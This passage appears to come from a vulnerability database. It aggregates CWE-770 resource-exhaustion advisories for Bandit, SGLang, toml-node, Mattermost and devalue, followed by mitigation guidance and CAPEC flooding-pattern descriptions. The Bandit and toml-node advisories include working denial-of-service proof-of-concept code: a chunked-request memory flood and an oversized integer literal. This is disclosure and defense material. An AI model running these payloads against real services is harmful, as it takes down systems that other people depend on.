"details": "### Summary\n\nBandit\u0027s HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`\u0027 default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` \u2014 never `{:more, ...}` \u2014 so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route \u2014 any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained \u2014 boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~\u003e 1.10\"}, {:plug, \"~\u003e 1.19\"}])\n\ndefmodule DemoApp do\n use Plug.Builder\n\n # The `length` option here is ignored by the attack\n plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n plug :respond\n\n def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(\u003c\u003c?A\u003e\u003e, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n :gen_tcp.send(sock, \"\"\"\n POST / HTTP/1.1\\r\n Host: 127.0.0.1\\r\n Transfer-Encoding: chunked\\r\n Content-Type: application/json\\r\n Connection: close\\r\n \\r\n \"\"\")\n\nEnum.each(1..10_240, fn _ -\u003e :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere \u2014 i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.",
"id": "GHSA-9q9q-324x-93r2",
"modified": "2026-06-08T20:17:13Z",
"published": "2026-05-19T19:23:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39803"
},
{
"type": "WEB",
"url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-39803.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/mtrudel/bandit"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-39803"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`"
}
GHSA-9QHW-7FV2-2HGM
Vulnerability from github – Published: 2026-10-19 15:32 – Updated: 2026-10-19 15:32SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. Network-adjacent attackers can send many registrations with unique mooncake_session_id values and large nested-buffer frames to exhaust Prefill memory until the scheduler is OOM-killed.
{
"affected": [],
"aliases": [
"CVE-2026-112269"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-19T14:17:04Z",
"severity": "HIGH"
},
"details": "SGLang through 0.5.22 with the Mooncake disaggregation backend accepts unauthenticated decode registration messages on the Prefill rank ZMQ PULL socket, allowing denial of service. Network-adjacent attackers can send many registrations with unique mooncake_session_id values and large nested-buffer frames to exhaust Prefill memory until the scheduler is OOM-killed.",
"id": "GHSA-9qhw-7fv2-2hgm",
"modified": "2026-10-19T15:32:39Z",
"published": "2026-10-19T15:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112269"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/issues/45012"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/blob/v0.5.22/python/sglang/srt/disaggregation/common/utils.py#L47-L69"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/blob/v0.5.22/python/sglang/srt/disaggregation/mooncake/conn.py#L2885-L2935"
},
{
"type": "WEB",
"url": "https://github.com/sgl-project/sglang/blob/v0.5.22/python/sglang/srt/disaggregation/mooncake/conn.py#L889-L909"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/sglang-through-0.5.22-memory-exhaustion-via-unauthenticated-mooncake-decode-registrations"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-9QMH-M7C6-F92P
Vulnerability from github – Published: 2026-10-22 16:36 – Updated: 2026-10-22 16:36Summary
toml.parse() converts integer literals (hex, octal, binary, and decimal) to BigInt without first bounding the length of the digit sequence. Since BigInt(string) construction from a very long numeric string runs in super-linear time, a single small, well-formed TOML document containing one long integer literal can pin a Node.js process's event loop at 100% CPU for several seconds — a denial of service for any application that parses attacker-supplied or third-party TOML. No authentication or complex crafting is required.
Details
In lib/parser.js, the grammar actions that build integer nodes call BigInt() directly on the matched digit text, with no upper bound on its length:
lib/parser.js:326— hex:BigInt('0x' + stripUnderscores(digits))lib/parser.js:327— octal:BigInt('0o' + stripUnderscores(digits))lib/parser.js:328— binary:BigInt('0b' + stripUnderscores(digits))lib/parser.js:329— decimal:BigInt(stripUnderscores(text))
The parser does enforce a nesting-depth limit (MAX_DEPTH, default 500, lib/parser.js:4343) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds structural nesting — it does not bound the length of a single scalar token.
The subsequent 64-bit range check in lib/compiler.js (reduceInteger, lines 143–150, comparing against INT64_MIN / INT64_MAX defined at lines 3–4) happens after the expensive BigInt() conversion has already completed. It therefore provides no protection against this cost — the CPU time is already spent by the time the value is rejected as out of range.
PoC
const toml = require('toml');
const N = 5_000_000; // ~5 MB request body
const doc = 'x = 0x' + 'f'.repeat(N);
const start = Date.now();
try {
toml.parse(doc); // eventually throws "outside the 64-bit signed integer range" —
// but only after the costly conversion has run
} catch (e) {}
console.log('elapsed:', Date.now() - start, 'ms');
Measured results:
| Digits (hex) | Approx. payload size | Parse time |
|---|---|---|
| 200,000 | ~200 KB | 141 ms |
| 400,000 | ~400 KB | 276 ms |
| 800,000 | ~800 KB | 685 ms |
| 1,600,000 | ~1.6 MB | 1,761 ms |
| 5,000,000 | ~5 MB | 6,061 ms |
Growth is clearly super-linear. The same behavior reproduces for plain decimal literals (3,000,000 '9' digits → ~6.3 s).
Impact
Any application that calls toml.parse() on untrusted or third-party input — config upload endpoints, CI/CD tools ingesting user-supplied .toml files, package managers, linters, editors/language servers — is exposed.
During the conversion, the event loop is fully blocked. In a typical single-threaded Node.js server this stalls all concurrent request handling, not just the request containing the malicious payload. A single ~5 MB request is sufficient to cause several seconds of full CPU denial of service.
Suggested fix: Reject digit sequences above a reasonable length before calling BigInt(), analogous to the existing maxDepth option. A 64-bit signed integer requires at most 20 decimal digits or 16 hex digits, so any digit sequence significantly longer than that is guaranteed to fail the existing range check anyway, and can be rejected with a cheap .length comparison instead of paying for the full BigInt conversion.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "toml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-114144"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-22T16:36:50Z",
"nvd_published_at": "2026-10-21T21:17:57Z",
"severity": "HIGH"
},
"details": "### Summary\n`toml.parse()` converts integer literals (hex, octal, binary, and decimal) to `BigInt` without first bounding the length of the digit sequence. Since `BigInt(string)` construction from a very long numeric string runs in super-linear time, a single small, well-formed TOML document containing one long integer literal can pin a Node.js process\u0027s event loop at 100% CPU for several seconds \u2014 a denial of service for any application that parses attacker-supplied or third-party TOML. No authentication or complex crafting is required.\n\n### Details\nIn `lib/parser.js`, the grammar actions that build integer nodes call `BigInt()` directly on the matched digit text, with no upper bound on its length:\n\n- `lib/parser.js:326` \u2014 hex: `BigInt(\u00270x\u0027 + stripUnderscores(digits))`\n- `lib/parser.js:327` \u2014 octal: `BigInt(\u00270o\u0027 + stripUnderscores(digits))`\n- `lib/parser.js:328` \u2014 binary: `BigInt(\u00270b\u0027 + stripUnderscores(digits))`\n- `lib/parser.js:329` \u2014 decimal: `BigInt(stripUnderscores(text))`\n\nThe parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* \u2014 it does not bound the length of a single scalar token.\n\nThe subsequent 64-bit range check in `lib/compiler.js` (`reduceInteger`, lines 143\u2013150, comparing against `INT64_MIN` / `INT64_MAX` defined at lines 3\u20134) happens **after** the expensive `BigInt()` conversion has already completed. It therefore provides no protection against this cost \u2014 the CPU time is already spent by the time the value is rejected as out of range.\n\n### PoC\n\n```js\nconst toml = require(\u0027toml\u0027);\n\nconst N = 5_000_000; // ~5 MB request body\nconst doc = \u0027x = 0x\u0027 + \u0027f\u0027.repeat(N);\n\nconst start = Date.now();\ntry {\n toml.parse(doc); // eventually throws \"outside the 64-bit signed integer range\" \u2014\n // but only after the costly conversion has run\n} catch (e) {}\n\nconsole.log(\u0027elapsed:\u0027, Date.now() - start, \u0027ms\u0027);\n```\n\n**Measured results:**\n\n| Digits (hex) | Approx. payload size | Parse time |\n|---:|---:|---:|\n| 200,000 | ~200 KB | 141 ms |\n| 400,000 | ~400 KB | 276 ms |\n| 800,000 | ~800 KB | 685 ms |\n| 1,600,000 | ~1.6 MB | 1,761 ms |\n| 5,000,000 | ~5 MB | 6,061 ms |\n\nGrowth is clearly super-linear. The same behavior reproduces for plain decimal literals (3,000,000 `\u00279\u0027` digits \u2192 ~6.3 s).\n\n### Impact\nAny application that calls `toml.parse()` on untrusted or third-party input \u2014 config upload endpoints, CI/CD tools ingesting user-supplied `.toml` files, package managers, linters, editors/language servers \u2014 is exposed.\n\nDuring the conversion, the event loop is fully blocked. In a typical single-threaded Node.js server this stalls **all** concurrent request handling, not just the request containing the malicious payload. A single ~5 MB request is sufficient to cause several seconds of full CPU denial of service.\n\n**Suggested fix:** Reject digit sequences above a reasonable length *before* calling `BigInt()`, analogous to the existing `maxDepth` option. A 64-bit signed integer requires at most 20 decimal digits or 16 hex digits, so any digit sequence significantly longer than that is guaranteed to fail the existing range check anyway, and can be rejected with a cheap `.length` comparison instead of paying for the full `BigInt` conversion.",
"id": "GHSA-9qmh-m7c6-f92p",
"modified": "2026-10-22T16:36:50Z",
"published": "2026-10-22T16:36:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-9qmh-m7c6-f92p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114144"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/commit/9d52e384f6030932174d1afb0d910154dd62dead"
},
{
"type": "PACKAGE",
"url": "https://github.com/BinaryMuse/toml-node"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/releases/tag/v5.0.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "toml-node: Uncontrolled resource consumption (CPU DoS) via unbounded-length integer literals in toml.parse()"
}
GHSA-9R42-RHW3-2222
Vulnerability from github – Published: 2026-01-16 09:31 – Updated: 2026-02-27 22:05Mattermost versions 10.11.x <= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.11.8"
},
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "10.11.0"
},
{
"fixed": "10.11.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-14822"
],
"database_specific": {
"cwe_ids": [
"CWE-407",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-16T20:54:02Z",
"nvd_published_at": "2026-01-16T09:16:01Z",
"severity": "LOW"
},
"details": "Mattermost versions 10.11.x \u003c= 10.11.8 fail to validate input size before processing hashtags which allows an authenticated attacker to exhaust CPU resources via a single HTTP request containing a post with thousands space-separated tokens.",
"id": "GHSA-9r42-rhw3-2222",
"modified": "2026-02-27T22:05:20Z",
"published": "2026-01-16T09:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14822"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/4d86263f5430d0eb991fc52ec886cf778cb072e6"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/b3d6c0c564c1a79e54e5105d0a8b60fc58a2bdee"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2026-4325"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Mattermost is vulnerable to CPU exhaustion via crafted HTTP request"
}
GHSA-9RGM-9G3H-6X36
Vulnerability from github – Published: 2026-09-17 20:28 – Updated: 2026-09-17 20:28Impact
devalue.parse prior to version 5.9.2 fails to reject out-of-bounds indices. Specially-crafted payloads can exploit this to cause devalue to alternate between different array representations, resulting in work that is quadratic with payload size.
Applications are potentially affected if they call devalue.parse with untrusted data.
Patches
The bug is fixed in devalue@5.9.2.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 5.9.1"
},
"package": {
"ecosystem": "npm",
"name": "devalue"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.9.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81176"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:28:21Z",
"nvd_published_at": "2026-09-16T19:17:43Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n`devalue.parse` prior to version 5.9.2 fails to reject out-of-bounds indices. Specially-crafted payloads can exploit this to cause devalue to alternate between different array representations, resulting in work that is quadratic with payload size.\n\nApplications are potentially affected if they call `devalue.parse` with untrusted data.\n\n### Patches\n\nThe bug is fixed in `devalue@5.9.2`.",
"id": "GHSA-9rgm-9g3h-6x36",
"modified": "2026-09-17T20:28:21Z",
"published": "2026-09-17T20:28:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/security/advisories/GHSA-9rgm-9g3h-6x36"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81176"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/commit/8b2a4562c446d7c36d9d629778079a5fae4243e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/sveltejs/devalue"
},
{
"type": "WEB",
"url": "https://github.com/sveltejs/devalue/releases/tag/v5.9.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Svelte devalue: DoS via malformed input"
}
GHSA-9RMC-XF66-RV68
Vulnerability from github – Published: 2022-09-10 00:00 – Updated: 2022-09-15 00:00Mattermost version 7.0.x and earlier fails to sufficiently limit the in-memory sizes of concurrently uploaded JPEG images, which allows authenticated users to cause resource exhaustion on specific system configurations, resulting in server-side Denial of Service.
{
"affected": [],
"aliases": [
"CVE-2022-3147"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-09T15:15:00Z",
"severity": "MODERATE"
},
"details": "Mattermost version 7.0.x and earlier fails to sufficiently limit the in-memory sizes of concurrently uploaded JPEG images, which allows authenticated users to cause resource exhaustion on specific system configurations, resulting in server-side Denial of Service.",
"id": "GHSA-9rmc-xf66-rv68",
"modified": "2022-09-15T00:00:18Z",
"published": "2022-09-10T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3147"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1549513"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.